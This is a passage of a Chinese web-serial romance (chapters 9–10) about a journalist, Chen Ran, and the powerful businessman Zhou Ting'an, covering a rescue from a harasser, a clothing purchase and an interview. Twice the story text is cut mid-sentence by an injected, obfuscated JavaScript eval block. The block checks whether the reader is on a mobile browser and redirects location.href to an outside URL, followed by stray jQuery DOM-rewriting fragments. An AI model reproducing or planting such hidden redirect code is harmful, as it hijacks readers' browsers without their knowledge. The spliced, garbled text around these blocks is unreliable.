她先是尴尬又不失礼貌的一笑。
无济于事的用手捂了捂。
最后发现不行,只好接过了周庭安递过来的西服外套,圈着系在了腰间。
一并跟人客气道了声:“谢谢。”
9. 覆雾
周庭安是刚从旁边的大厦上下来。
司机邓丘将车开了过来,就在旁边等着接他回住处。
刚刚那位追出来的曾衡,在不远处看到并认出立在陈染身边的人居然是周庭安时,脚底已然发软生凉,然后讪讪的没敢再上前,赶紧躲了。
“现在没事了。”周庭安拍了下陈染肩背,抬手往停车的方向指了指,让她先上车。
陈染脑中还是刚刚那男人丑陋嘴脸,心有余悸,就跟着周庭安先上了车。
但是她包还在刚刚吕依朋友的生日会卡座那里,里边装着手机,还有住处的钥匙,不去拿的话,她会进不了门。
周庭安先带上了车门,然后看陈染两手空空的,便问:“包在哪儿放着,我让人去给你拿。”
“就前面不远处的那家店里,叫Half Club。”她不想这么麻烦别人,想着要不要自己折回去拿,但是因为刚刚的男人,又有些迟疑,怕再多生事端。
“邓丘,你过去。”周庭安冲前面开车的司机吩咐说。
邓丘开车到了Half Club门口停下,推开车门下车,进去取回了陈染的包。
陈染包拿到手里,先接到了吕依的电话,刚巧她也要给她打过去,说自己有事先走的情况。
“刚过来拿你包的男的谁啊?我就去前台拿了瓶饮料的功夫,回来他们就说你包有人来取走了。”
陈染哦了声,看过前面正在开车的,周庭安的那位司机,“只说没事,是认识的人。”
吕依放下了心,问她什么情况。
陈染搪塞了句说有点别的事,让她继续玩,不用担心,就结束了通话。
周庭安视线虚虚的罩在陈染身上,看她结束通话将手机收起来后,松散的说了句:“原本就准备给陈小姐联系我们约好的事,没想到在这里遇到了,刚刚是怎么了?”
陈染垂眸,没回他的问题,只说:“抱歉周先生,目前您这份采访的工作我想选择放弃了。如果有机缘,我希望这个机会您能给我留在以后。”陈染只是个普通人,没有太高尚的菩萨心,她不想为他人做嫁衣,何况这个人还是她对手。因为财经专栏目前已经落在咸蔓菁的手上。
她肯定不会把资源拱手相让。
“因为刚刚那人?”曾家的那个垃圾,周庭安模糊里有点印象,但是印象并不深。
唯一的一点印象还是他家里长辈曾老先生为了给他擦屁股,登过一次周家的门,仅此而已。
陈染没说是,也没说不是,只是跟人抱歉了句说,“实在很不好意思,耽误您这么多时间。只能说,是我运气不太好。”
一直都不太好。
“我不算是你的运气么?”周庭安依旧虚虚的眼神罩着她,话语淡淡。
陈染抿平唇,没吭声。
无法抓住的运气,倒不如从来没有。
“所以,陈染,这就把你难住了?”周庭安看过她带着些晕红的脸,伸手旁边置物格里拿了瓶水,拧开递过给她说:“然后就去喝酒,解愁?”
车内薰香的味道同上次的不一样,确切的说,车子也不是之前的那辆。
是柑橘的清新,让陈染有点晕沉的大脑清白了几分。视线从周庭安递过来的那瓶水,移到了他脸上,她头脑昏沉难道不是因为晚上吹空调着凉了吗?
“我没有喝酒。”
“好,你没有喝。”周庭安也没过多说,抬了抬手里拧开的那瓶水。
“谢谢。”陈染接过,喝了一口后,握在了手里。
她虽然这么反驳,但其实心里已经隐隐有了点存疑,想到吕依端给她喝的那杯果汁,好像是跟平常的果汁味道不大一样。
“有人的地方,就有丛林法则,弱肉强食。做事有时候不用太丈量分寸,酒能不能给你解愁我不知道,但或许我应该会比酒好用。”
陈染闻言恍惚的看过周庭安,坐在距离她不远不近的位置,此刻两胳膊搭在膝盖,脸偏过她这边,看着她。
“您——比酒好用?”大概是酒的后劲儿渐渐上来了更多,陈染觉得喉咙往下心口的位置有点烧。
眼睛也跟着覆上一层雾蒙蒙的东西。
“是,陈染,可以考虑一下,利用,我。”
“利用,您?!”
“是,你可以理解为,我可以给你兜底。”周庭安话说的很有耐心。
“为什么?”
周庭安轻扯嘴角,视线从她脸上移开,转而两腿交叠,仰身靠进后座,没回她是因为什么。
看过前路开车的邓丘吩咐说:“去前边的购物商场停一停。”
-
陈染其实想直接回住处,原本想拒绝,但在摸到腰间围着的那件他的西服后没说出口。
料子摸上手就知道这衣服不会便宜,这么被她一直糟蹋的确有失礼貌,反正身上的衣服坏了,再买一件添衣柜里也行。
周庭安带人进了一处女装店,店员上前招呼着:“周先生。”
周庭安点了点头,看过身侧陈染一眼,同店员说:“带这位小姐试一下你们店里的衣服。”
“好的,请您随我来。”
陈染跟过去。
想着这里是女装店,店员却是认识周庭安,多半是他女友或是家人过来这边买过衣服。
价格也是真的贵,随手拎过一件,标价都是五位数。白色简约的裙子,算是基础款式了,可想而知带点设计感的肯定要五位数靠上。
她上一次为自己奢侈一把还是第一次上镜外采的时候,花了实习期两个月的工资。
然后,应该就是这次了。
陈染进去试衣间,将系在腰间的那件周庭安的西服从身上解下来,挂在了一旁的挂衣钩上。
然后退掉了身上坏掉的裙子,试手上刚挑的那件。
刚穿好,包里手机响了起来,陈染拿过接通,是沈承言的电话。
于是一边接过电话将手机贴到耳边,一边走出来照镜子。
“在忙什么呢?”沈承言那边传来吃东西的动静,多半是在吃晚饭。
陈染低头扯着领口位置,不知是不是后边扣子她没弄好,感觉有点紧,然后对电话里说:“在商场试衣服,你还记得我们之前一次出来逛街买的那条裙子吗?”
沈承言哦了声,像是记了起来,“那个腰间镂空的,怎么了,我记得你一直都不愿意穿。”
“今天穿了,结果你猜怎么着。”
“怎么了?”
“不知道勾在哪儿了,然后就坏了,好可惜。”
“是挺可惜的。”因为沈承言知道她穿上很好看,有种妩媚小女人一般的性感,同时又带着她天然的纯。总之就是纯欲的很。
陈染正低头弄着,手尝试摸后边的那两粒扣,看有没有扣错。
正摸着,手忽然碰触到一片凉涩的皮肤。陌生的触感,令她如触电一样将手挪移开。
窗黑夜浓,室内灯火阑珊,陈染心头猛然跳动,抬眼看过面前的落地试衣镜,只看到周庭安不知何时过来了这边,立在她身后的位置,几乎将她整个全然笼过他的身影里,让她避无可避。
只能盯着镜子里低头垂眸的他微微发愣,脊背绷的笔直。
周庭安将她后边系错纠缠在一起的两粒盘扣解开,重新给她系上,一并将缠绕在里边的几根发丝也给抽着弄了出来。
最后手移开,嗓音低沉的响在她耳侧说:“好了。”
陈染莫名眼皮跟着一跳,手也不知何时,下意识捂上了手机,隔断了她同沈承言的通话。
电话另一边,沈承言一连喊了好几声“染染”,没有听到应声,又问了句:“你那里是不是信号不好啊?”
周庭安说着将手里拿过来挑的另外两件衣服放在了旁边,对陈染说:“店员说这两件也衬你,可以一起试试。”
说完也没等陈染应声,便转身走了,像是单纯给她过来送个衣服而已。
陈染抿了抿唇,转脸看过去周庭安离开的方向一眼,人已经不见。
刚刚猛然紧绷的身体松懈下来几分,重新将手机贴过耳边喂了一声,“承言,我在外边,没别的事先挂了,回去我们再聊。”
沈承言应了声“行”,问:“刚刚怎么听不见你声音了,是不是信号不好?”
陈染没回为什么,只说:“我在试衣服,先挂了。”
“行,回去路上注意安全。”
“嗯。”
陈染挂了电话,看了眼面前镜子,身上的这件白色基础款虽然样式简单,但是也算得上大方得体,主要是价格她勉强能承受。
转而看过旁边放着的另外两件,一看设计上面就有着独特的心机,是市面上不常见的,应该是出自专门的设计师款式。价格定然也是很可观了,陈染向来主张量力而行。
就索性也没有上身试。
然后拎过自己坏掉的那件裙子,还有周庭安的那件外套和包走了出去,过去柜台付款。
只听店员微笑着说:“陈小姐,我们是会员制,周先生那里已经为您付过了。”
陈染转而看过休息区。
周庭安人却是已经不在。
但是这里消费这么高,她不能就这样算了,得把钱还给他,虽然对于他来说或许不算什么,但她还是不能要。
陈染拎过东西,然后走出店门给周庭安打电话,电话很快被接通,对面先出的声,问她:“试好了是么?下来吧,我在外边停车这里。”
“好。”电话里她没说那么多,直接下楼出去。
周庭安停车的位置还是在原来的地方,他就那样抱臂靠在车身上,手里夹着一支烟,看到陈染出来,起身,将还剩余有半截的烟支直接掐灭给扔了。
“周先生,衣服我不能让您出钱,您告诉我一下您的账号,我直接转过去。”陈染说的有点着急,像是恨不能此刻有现金,可以直接从包里掏出来给他。
“一件衣服,只管先穿着吧。”周庭安拉开车门先坐进了车里,接着看过立在车门外的陈染,拍了拍身侧位置,让她坐过去。
陈染握了握紧手里拎着的包和衣服,不知在想什么,停留了几秒钟,还是选择坐了进去,将东西放在了两人之间的位置。
“您衣服我可能现在还不了你,带回去需要帮您做一下清洁。”
“都行。”周庭安带着些意兴阑珊,视线落在中间她放置衣物的袋子上,最上面,放着的是那条她弄坏掉的裙子。
“不能穿的,丢了就好,陈记者还带回去做什么?”
陈染知道不能穿了,但毕竟是自己的衣服,“我没有将自己衣服随意丢仍在外边的习惯。”
“我还以为因为是他买的,你不舍的。”
周庭安的这句话令人诧然,陈染不由看过去,有点没太明白。
心里还放着刚刚身上裙子钱的事情,只问他说:“你手机号是支付宝账号么?如果是的话,我把钱转你支付宝,然后你跟你女朋友解释一下,免得引起误会。”
毕竟那是女装店,陈染想。或者也有可能是他身边女伴之类的身份,毕竟他这样的地位......但是陈染想了想,还是觉得称女朋友合适。权当自己不懂。
“给家母用的卡,我没女朋友。”最后几个字他咬音有点重,说的时候,特意看过陈染。
陈染哦了声,眼睫微动,“那抱歉,是我想错了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16647019|188188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>车子一路往陈染所租住的公寓方向开,之后很长的一段时间里,两人都没再说什么。
临下车时候,吕依又给陈染打来电话,惭愧的问她:“你有没有事啊陈染,刚耿祁笑着说我给你的那杯果汁其实是酒,你有没有喝醉啊?”
“......我这会儿还好。”还真被周庭安给说对了,陈染之前那会儿的确身体有些反应。
“还好就行,你已经在住处了吗?”
“嗯,到了,马上上楼。”
“好,安全到家就行,我最多再等一个小时就回去了啊。”
陈染应了声嗯,
两人结束了通话。
车子也跟着停下,陈染想了一路,此刻转而看过周庭安,像是下定决心一样,对人说:“周先生,如果这个钱您不收的话,就劳烦您暂且先等几分钟,我上楼把衣服换下来,我就不要了。”
陈染说完拿上东西,推开车门就进了楼栋里,直到听到后边脚步声的时候,方才察觉周庭安跟着她走了过来,瞬时转过身,退到了墙边,抬眼看着他。
楼道里灯光灰暗,陈染脸颊因为酒精晕染上来的那点粉还没彻底消散,映在柔软的光线下像一只受惊的小兔。
周庭安眼眸不由加深了几分。
她原本是要按电梯上去的,但是没想到周庭安会跟过来,靠墙的身子一下退的狠了,踉跄了下。
周庭安手背在身后,看人站不稳抽过右手上去握着她胳膊扶了下她,人稳住后便很快又松开重新将手背在了后边的姿态,偏过脸看她说:“你这样子,让人不放心,送你上去。”
肉眼可见的,她酒劲儿还没散完。
陈染眨了眨眼,想着原来是这个意思。
周庭安这边已经摁了电梯,没多会儿,电梯门打开,他旁边让了一步,让她先上去。
“几楼?”看陈染步入电梯,周庭安问她。
“七楼。”
周庭安摁下【7】。
之后下去电梯,走到门口,陈染站在那在包里找钥匙找了半天,以为钥匙丢了,到最后却是发现她一开始就将钥匙握在了手里,是拿着钥匙找钥匙。
而周庭安就立在旁边看着,也没给她指出来。
看人去开门,只说:“你要是真的不想欠我,下个月中秋时候就帮我个忙。”
“什么忙?”陈染钥匙插孔插了几次,还没插进去。
“帮我挑个礼物,送长辈的,你来付钱。”周庭安好脾气的跟人商量。
陈染听到这个直接爽快点点头,应下说:“好,没问题。”
她想着周庭安说不准是起先就想找人帮他这个忙,顿时因为刚刚衣服的事情心情松散了不少,笑着跟人说:“您找我算是找对人了,我可是很会给长辈挑礼物的。逢年过节,我家都是我操心这个事。”
“是么?”周庭安看她一脸认真,嘴角隐隐扯开。
陈染嗯了声点点头。
手下也终于对准了锁孔,将门拧开了。
周庭安止步在门边,在人进屋前只说:“在外边不要喝酒,如果真不得已喝了,记住,别像今天这样,让男人送你回来。”
踏进门的陈染转头去看,只见他说完就进了电梯,走了。
-
周庭安让邓丘开车一路去了西岸故郡,母亲顾琴韵说有急事找他,搪塞不掉,只能去了。
结果一进门就看见了坐在院子里跟周老爷子说笑的周钧。
父子两人如同水火,压根聊不到一起去。
但是周老爷子又尤其疼爱他这个长孙,周钧就算再不想看见周庭安,也不能驳了老爷子的面子。
“庭安来了。”周老爷子招呼人。
周庭安则是上前直接将他嘴角衔的那支烟给掐了。
气的老头子诶了一声,差点直接从椅子上站起来:“你这小子!”
“您要是觉得您的肺等下睡觉会舒服的不得了,您就捡起来还抽吧!”周庭安拉了张椅子坐过去另一边,距离周钧中间隔了个老爷子,甚至连人也没喊。
周钧刚刚还跟老爷子说笑的脸顿时垮了下来。
另一边顾琴韵从屋里端了一盘切好的水果出来,放在了院子里的桌上。然后拍了拍刚坐下的周庭安肩背,让他进屋问点事儿。
“有人跟我说,小衍最近跟妙希走的很近,你别不上心。”顾琴韵也只说了这么一句话,外边老爷子喊,她应了声就又出去了。
顾琴韵刚出去,周庭安转脸就看见了周衍从楼上走了下来,看过他道了声:“您日理万机,怎么有空过来这边了。”
周衍是周庭安同父异母的弟弟,是周钧跟外边女人生的孩子。那女人生病死了,周钧就把他带回了周家。
起先周衍还会试图讨好周庭安喊一声哥,但发现没有用之后,就很少再听见他喊了。
周庭安过去坐过沙发上,手捻过手边茶几上放着的一枚打火机,然后盯着,想到了陈染那男朋友打火机上面的那个“染”字。
周衍走过来也坐了下来,上句人没应,接着又说了句:“我见了那什么宁妙希,挺可爱的女孩,她好像对我还挺有好感的。”
他做什么有一点,从来不爱藏着掖着,跟他这位心思深沉的兄长可不一样。
“是么。”周庭安这才开了口,端过旁边茶壶给自己倒了杯茶水,一脸不在意的样子。
“顾姨看中的女孩儿,还真是不差,所以,您就不想对我说点什么?”
金黄色的铁观音满口留香,清新四溢。只听周庭安说了声:“你要真想听,倒也真有一句。”
“什么?”
“表示感谢。”
“......”
10. 暗琥珀
陈染回去后早早的就睡了,吕依什么时候回来的都不知道。
第一个原因是因为阴差阳错喝了点酒,第二个原因是第二天一早就要去文化厅展览那边,因为距离远,所以每天需要比以往早起不少。
结果第二天一早,陈染在接到了一通曹济的电话后。
事情就全变了。
因为她迟迟不肯发道歉声明的事情,曹济几乎把她当成了弃子,别说主动给她打电话,撇清关系都还来不及,生怕她沾上自己分毫。
所以陈染刚看到来电显示时候还以为他打错了。
但是电话一直响,她也只能接起喂了一声,直接同他讲:“曹主编,道歉声明的事情我发不了,您要是觉得我现在做文化厅这里展会采访的工作也不合适的话,可以直接一点,跟我解除合同,我转行也好,另投他枝也好,都和台里不再有关系。”
曹济态度大变,尴尬的笑了笑,哎呀了声,说:“小陈,说什么呢,文化厅那什么我安排给一个新来的实习生了,财经专栏还是要你来做才行。”接着又说:“之前那事儿咱们就翻篇儿了,我想了想,你说的对,咱们没错的事儿,干什么要给他道歉。”
“......”陈染心道,您之前可不是这么说的。
北城最近的天,时不时的总爱下一会儿雨,也不是很大,下一阵停一停,之后再下再停。
陈染进到单位大楼,收起撑着的雨伞,坐电梯去新闻部。
前脚刚进去电梯,咸蔓菁也跟着走了进来。
两人前后脚进的电台大楼,只是陈染没注意到人。
“恭喜呀陈组长,”咸蔓菁跟人道贺,“财经专栏又是你的了,都还没在我手上捂热乎呢,哎——。”
陈染笑笑,看过她一眼说:“恭喜什么,你又不是不知道,这栏目本来就不是什么香饽饽。”丢了是可惜,但是工作难做也是明摆着的事实。
“曹济没给你说吗?”
“说什么?”陈染问。
咸蔓菁看着电梯镜面墙里的自己,理了理头发,说:“原来你还不知道,财经专栏招来了大投资商,财经频道毕竟不能把财经两个字丢了,这次,多半是台里上边领导下了功夫的。”说着看过陈染:“不然怎么会恭喜你。”
只不过咸蔓菁不太明白,前些天还闹的轰轰烈烈找陈染茬针对她的那位大爷,如今却是销声匿迹,没了动静。
话说到这里,电梯叮的一声响起,到达新闻部,开了门。
咸蔓菁率先一步踏了出来。
她只想着这次是陈染走了好运气。
而陈染也是刚进部门,就被曹济喊进了办公室,像是专门等着她一样,“小陈,来来来——”
很是热情。
“......”
看他那个嘴脸,陈染虽然不适,但毕竟还是在人手底下做事,该有的场面话还是要有的。毕竟自从她做记者这一行后,其实见的“鬼”也真不比人少。
曹济这样的,还算不上极品。
陈染喜欢新闻,也是真的想在这一行有所发展,所以工作这么久,见过不少人,虽然称不上世故,但该有的圆融也不是完全不懂。
“主编,”陈染扯出一丝职业笑,“到底是怎么一回事?我刚听蔓菁说咱们财经专栏有了大投资。”
曹济点点头,“没错,”转而走到办公桌后边,拉开抽屉拿了一份资料出来递给她说:“这是一份新的邀约采访,这次不像上次,板上钉钉的事。不过之后具体的采访时间还要你这边主动跟对方沟通确认一下。”
“哦,行。”陈染拿过他放桌上给她的那份资料准备看。
“那个小陈——”曹济欲言又止的。
陈染刚翻开第一页,闻言抬眼:“怎么了?”
曹济犹豫了瞬,没说出口,指了指陈染手里那资料,“没事,都在上面了。有联系方式,有地点。”
陈染嗯了声,说“好”,然后拿着资料出去到了自己的办公区。
资料上写着采访内容包括人物,特定企业及周边,产品研发等等,涉及的很是宽泛。
最下面写着投资方是GT 电子。
GT电子?陈染盯着那两个字母有种莫名的熟悉感,像是在哪里见过,但是一时又想不起来。
摸过键盘,正准备上网查一下,手机响了,来了通电话。
陈染盯着那个没有备注名的电话号码看了几秒,接着伸手接过,说:“您好,北城财经陈染。”
“我以为你起码会存上我的号。”电话另一边的周庭安自顾自的哼笑了声,接着传到陈染这边的是一阵窸窣用茶壶倒茶的动静。
陈染心里一沉,将手机拿移耳边,重新看了眼上面的电话号,怪不得她有一点眼熟,不禁尴尬起来:“周先生。”
周庭安嗯了声,倒也没跟人计较什么,只说:“今天是我们约定的最后一天,文件应该已经到你手上了,不过,我觉得还是有必要给你打个电话确认一下接受采访这件事。”
“是、是您?”
“不然你想是谁。”周庭安声音里虽然听上去带着些笑,但给人的感觉却又是冷的。
陈染立马官方的客气道:“没有,没有谁。”她只是有点意外而已。
忽然想到她昨晚好像还同人说,会放弃这次采访,毕竟当时专栏已经不在她手上,但是没想到事情会转变的如此之快。
怪不得她觉得GT这两个字母眼熟,此刻想起来,她之前翻阅周镇的资料时候,扫到过那么一眼。
怪只怪恒瑞资本这棵树太大了,分支产业太多。
“很高兴能同您建立信任,那您看我们具体采访时间怎么安排?”陈染想了想,意识到表达有点不具体,随即又补充说:“我意思是,您看您什么时间方便,我们这边可以配合您。”
周庭安那边安静了片刻,像是真的在琢磨具体时间,之后回道:“那就周五下午,我这边有时间了就会在这个时间点同你联系,陈记者觉得怎么样?”
周五下午?
刚好工作日,看的出来对方也不想被占用周末的私人时间。
“行。”陈染爽快应下,觉得没有任何问题,“那我们就这样说定了,周先生。”
周庭安嗯了声,挂断电话前同人讲道:“电话号可以加微信,还有,陈记者,记得给我备注一下,我想,我们之间应该也不算陌生了。”
“嗯,肯定的。”
陈染之后复制了周庭安手机号,加了他微信。点着通讯录里那个手机号输入备注名的时候,脑袋里莫名一直回旋着他最后的那句话,注意力再放回手机上后,盯着她给他的备注,在想着,这下意识对他的定位还挺正确。
备注名字很适合他。
-
陈染恢复了以往的工作日常,职场就是这样,你得势了,身边好人就会变多,你失势了,身边也多数都是冷言冷语。
“陈记者,对面新开了家咖啡店,听说挺好喝的,顺带给你也带了杯冰美式。”负责广告招商的同事秦舒路过陈染身边的时候,将手里提的咖啡放到了她的桌面。
“谢谢。”陈染笑笑。
“别跟我客气。”
陈染看了眼那杯咖啡,忽然想到昨晚临睡时间翻看朋友圈,看到沈承言晒的那条工作日常里,手边放着一杯拿铁。她记忆中他的口味同她一样,都喜欢美式,觉得拿铁奶味太重了。
正想着,手机微信来了条新信息,点开,信息刚好就是沈承言发来的,在陈染的微信朋友名单里,他的备注名应该最有辨识度,叫:只专属染染的承言。
这个又长又尽显矫情甚至能让人生出鸡皮疙瘩的昵称,还是两人还没毕业那会儿,一次一起出去看电影时候起的。
电影里女主人翁给男主人翁备注了一个尽显恋爱酸腐味儿的昵称,出来电影院,两人闲来无事就有样学样的也起了一个,交换手机,比谁起的更肉麻。
陈染当初给自己起的昵称是什么来着?她想了想,对,是:【沈承言的公主】
然后就一直延用至今,两人都没有变过。
思绪回潮,陈染看过发来的那条信息,算是一条喜讯分享,沈承言说,他们公司同君越制造达成了长期合作,晚上开庆功宴。
陈染还没回复,紧接着就又是一条,说:染染,我想你能为我高兴。你是我的动力。
这种事情对于沈承言来说,的确值得庆祝,就索性没有发信息,给他打了电话过去。
“承言,恭喜。”
沈承言明显心情很好,嗯了声,说:“晚上庆功宴应该还会来不少君越的高层,他们总部就在北城,是制造业的龙头之一。安排的有烟花秀,到时候我拍给你看。”
“那劳烦沈总了。”陈染笑着说。
“我是你的男朋友,不能说劳烦。”沈承言纠正人,接着问:“最近忙什么呢?”
忙什么?
陈染看了眼桌上放的一份她给周庭安做的人物专访稿件。
周五下午的时间,明天就是了。
她等下需要再过一遍,确保不出任何差错。
“在准备一个人物采访。”陈染信手翻了一下桌上自己写的那份采访稿。
“行,”沈承言正说着,他那边听到了敲门声,应该是有人找,听他跟来人说了些什么,便对电话里的陈染说:“染染,我们先不说了,我去处理点应酬。”
陈染嗯了声,挂了电话。
-
发给周庭安的微信是周五上午时间才通过的,他的微信看上去很单调,头像是一片雪山,像是他不经意随手拍的一张旅行照。
昵称只有一个【周】字。
朋友圈里也只有简单转发的几条财经资讯,转发时间也已经是两年前了。
陈染怀疑这个号会不会是被他曾经丢弃,如今又被捡回来重新用的。
微信通过后,陈染这次率先给人打了个招呼,发了个既官方又不失礼貌的微笑表情包,然后方才进入正题,问他:您好周先生,下午跟您约了采访,想问一下具体地址。
周庭安看微信的时候,刚下飞机,在柴齐安排的休息室里休息。
欧洲驻守的那帮老东西为了争话事人位置都要打起来了。
下边人私下传过来信息说有人在当地暗自购了他们区域内允许的合法枪支,再不过去照个面,怕是玉石俱焚,有人真要被祭天。
他水土不服也是真的,柴齐将烫好的调理茶水端给他,缓解最近几日来的胃部不适。
陈染这边很快收到来自【周】的回复:你不是对我工作的地方很感兴趣,我们就在上次我办公的地方。
是恒瑞大厦后边的那一处别院。
陈染对那个地方印象的确挺深,周边尽是他的高楼巍宇,那院落独归一方宁静,特权的味道很重。
陈染:好的周先生,那我们下午见。
周庭安看完信息没有立马从聊天页面里退出去,而是盯着陈染那个微信头像多看了几秒钟。
是她本人的一张背影照,被模糊处理过,但是从手腕上戴的手表可以确定。因为她手腕划伤那次,戴的就是那块表。
再将信息从头到尾看一遍,这位陈记者,跟他说话的方式,还是没变,依旧那么官方。
周庭安甚至能从她的那些个字眼里,想象到她打这些字时候的表情。
大概就像是一滩,姿态端然,想让人试图用力去拨乱的潋滟湖水。
“周先生,等下您是直接回住处吗?”
周庭安关掉手机,丢到一边,说:“去东院。”
-
陈染到了地方,同大门口的安保说明了下情况,说同周先生约定好的采访,一并拿出了记者证,证实身份。
安保这边已然也被通知到位,直接找人引着陈染过去了楼栋里边,安排好了地方,也是等下进行采访工作的会议室里。
会议室很大,起码有两百平的样子,长长的桌椅摆了两排。
此刻空空荡荡。
工作人员把陈染带进来就离开了,留下她一个人在这里等,周庭安还没过来。
陈染在诺大的会议室里,寻了个尽头地方,距离门比较近的位置坐下。
将手提包里的笔记本电脑拿出来放在会议桌面,等下以便记录用。
还有一支她惯常会带在身上的钢笔,采访稿,一份空白的记录纸。
这些都是她工作中养成的习惯,没有这些东西,会让她失去没有万事俱备的踏实感。
一切准备好,陈染打开电脑,趁人没来这点时间,将她这段时间了解到的周庭安的一些野生资料找出来看。
她称这些资料为野生资料,是因为没有他本人的证实,都是猜测或者小道消息之类的。更是因为他的身份,没有正规的媒体敢大肆报道,而且消息也的确类似捕风捉影,大都是一些连接不上的片段。
比如一些峰会里的侧身或者剪影。
一些模糊,类似同某当红女明星的挽手照等等。
正看着,原本关着的门被人从外边的力道推开,陈染从屏幕上抬眼,刚好对上周庭安看过来的视线。
一身剪裁合体的西服,胸口位置叠着一块纯白无暇的口袋巾,很适宜的穿搭。
这让陈染不禁想到他在外界口中评价里用的那个词,松间韬光。
“周先生,”陈染起身,一并将她从干洗店拿回来,洗好的那件西服提着袋子放到旁边另一张空着的椅子上,说:“刚好趁机会把您衣服也带过来了,上次谢谢您。”
周庭安闻言回应的点了下头,接着拉开对面椅子坐下,信手解开一粒西装扣子,然后看过立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16647020|188188||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在那的陈染一眼,视线扫到她面前放着的那份采访稿的时候,手顺便伸过,就拿过去看了起来。
陈染诶了一声,上前一步,伸手想要拿回来,却是已经来不及。
那是她的备稿,是不能给他看的。
周先生,很好奇您对您自己个人评价会是什么?
在您眼中,成功与失败的衡量标准是什么?
您有没有坚持的人生信条抑或是座右铭?
......
周庭安几乎一目十行。
“那个,周先生!”陈染逼不得已,将人打断,然后同人解释,“这个——不是给您看的,是我用来问您。所以,能给我吗?”
“我知道。”周庭安嗓音低沉,抬眼看她,将手里拿的那份采访稿又很是配合的还给了陈染,接着两腿交叠,寻了个闲适的姿势,靠身在沙发椅里,一并抬了抬手示意说:“那开始吧,陈记者。”
陈染点头,说“好”。
周庭安手托腮支在那,她问的问题,他都能给个很好圆满的答案。
工作氛围没有陈染想象的紧绷。
随着时间的流逝,天色渐渐变暗,窗外天边残存的一点云霞,也覆上了一层阴云,如同一块暗琥珀。
中途周庭安的秘书过来送了些茶水甜点还有水果,陈染一边整理看资料,一边没辜负人招待,捏了一颗草莓在嘴里咬一口咬一口的吃。
一点草莓汁,沾染在她嘴角边。
对着她半边侧脸那,周庭安原本半眯眼靠在一旁的沙发里休憩,那点草莓汁将她那点嘴角染的殷红,他蓦然开了口,问:“陈记者是不是忘了什么事情?”
陈染闻言看过他,没太明白。
“我记得上次在雁明馆,你给我叔伯特意准备了见面礼物。”虽然只是一枚不显眼的书签。
陈染吃草莓的动作顿住,看过周庭安方向,她确实没给他准备什么,因为:“我同您的叔伯是第一次见面,我是想着,我们比较熟一点。不过,您要是有时间,我可以请您吃饭。”
总归,她还欠他一顿饭。
周庭安听到这个回答,扯了扯嘴角,没再说什么。
陈染见他没了下文,感觉像是不过随口一说,原本停顿吃草莓的动作接着继续将最后一点吃完,说:“等下我可能还需要占用点您的时间。”
“我都行。”周庭安此刻像是不是配合谁工作,而是寻得了一处可以让他休息的栖息地。
陈染放了心,专注自己手下的工作,因为刚刚害怕他会有别的安排,然后直接走。
这下她就不用那么赶时间了。
吃了几颗草莓,翻采访稿件时候发现在刚刚的问答流程里,漏了一个话题,转而见周庭安颇为闲适,陈染就类似随口聊天的语气给问了出来:“周先生,我还很好奇一件事。”
“什么事?”
“对于您掌控之外的东西或事情,也不知您会怎样对待呢?我是说,那种无论您做何努力,都无法达到您想要的结果。”
“毁了,怎么样?”周庭安语气淡淡。
陈染破有点吃惊的看过他一眼。
因为这个答案相对于刚刚正式采访时候他那些个谦逊得体来说,确实有点突兀。
看她反应,周庭安不免笑了笑:“开个玩笑,不是闲聊么?”
陈染抿唇,也礼貌牵扯了下嘴角。
但想说,一点都不好笑。
-
没多会儿,曹济约莫着时间一样,给她打来了电话询问情况。
陈染看过来电显示,起身拉开会议室的门,出去外边的走廊里接电话。
周庭安原本正在看着手机,听到陈染那台笔记本“滴”的一声提示音后,抬眼看过去一眼,接着便很快收回视线,没多注意。
直到一连“滴”了好几次,诺大个会议室原本安静的出奇,以至于滴滴滴的响动很是引人注意。
不由得让他起身,往陈染放笔记本的那边坐过去一些。
手随意的将陈染采访时候用来做笔记的那支钢笔捻过在指腹间。
视线则是停留在她电脑屏幕上,陈染登陆的微信那里,沈承言发来的信息不断在她置顶的信息栏里跳动着。
看上去莫名刺眼。
周庭安伸手过去,直接点开,是一串串他分享过来给陈染看的烟花照片和视频。
沈承言原本是昨晚想要给陈染分享现场的,但是当时因为有应酬,就耽搁到了这会儿。
因为一直没被回复,一堆图片的最下边,他问了句:染染,忙什么呢,是因为昨晚没发给你生气了么?怎么不理我?
周庭安盯着看了会儿,接着信手伸过,在键盘上轻轻敲了几个字:她出去了。
陈染接完电话回来的时候,做回位置,视线落到屏幕上时,同沈承言的微信聊天框就占据在最显眼的位置,最后是他抛出的一个问题,问:你是谁?
接着就没有了下文。
而上面,就是周庭安敲过去的,【她出去了】,那几个字。
这里没有旁的人,不是她,自然就是另一位了。
陈染抬眼看过周庭安的时候,他也正好靠在那,就那样看着她。
索性直言问:“周先生,您动我电脑了?”
“是,帮你回复了一条信息。”周庭安看着她,陈染脸色不太好,“怎么,不开心了?”
陈染是有点不高兴,因为有种私人领域被人侵入的不适,她向来工作和私人生活分的很开,但又因为周庭安她又得罪不得,只说:“没有,我只是觉得,周先生不像是这么闲,会帮这种忙的人。”
可嘴上说着没有,脸上却是写满了介意,和不愿意。
让周庭安看的十分不爽。
就那样看着她,手搭在陈染面前的桌面,捻动着她那支钢笔,淡淡的说:“我的确是不会这么无聊,我这么做,肯定是有原因的。”
